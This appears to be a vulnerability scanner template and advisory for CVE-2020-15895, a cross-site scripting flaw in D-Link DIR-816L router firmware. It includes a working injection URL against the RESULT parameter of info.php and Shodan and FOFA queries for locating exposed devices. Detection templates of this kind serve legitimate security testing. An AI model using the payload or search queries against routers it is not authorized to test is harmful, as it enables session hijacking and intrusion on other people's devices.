D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.
PoC代码[已公开]
id: CVE-2020-15895
info:
name: D-Link DIR-816L 2.x - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
reference:
- https://research.loginsoft.com/bugs/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169
- https://nvd.nist.gov/vuln/detail/CVE-2020-15895
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-15895
cwe-id: CWE-79
epss-score: 0.41498
epss-percentile: 0.97326
cpe: cpe:2.3:o:dlink:dir-816l_firmware:2.06:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dir-816l_firmware
shodan-query:
- html:"DIR-816L"
- http.html:"dir-816l"
fofa-query: body="dir-816l"
tags: cve2020,cve,dlink,xss
http:
- method: GET
path:
- "{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//"
matchers-condition: and
matchers:
- type: word
part: body
words:
- ";alert(document.domain);"
- "DIR-816L"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
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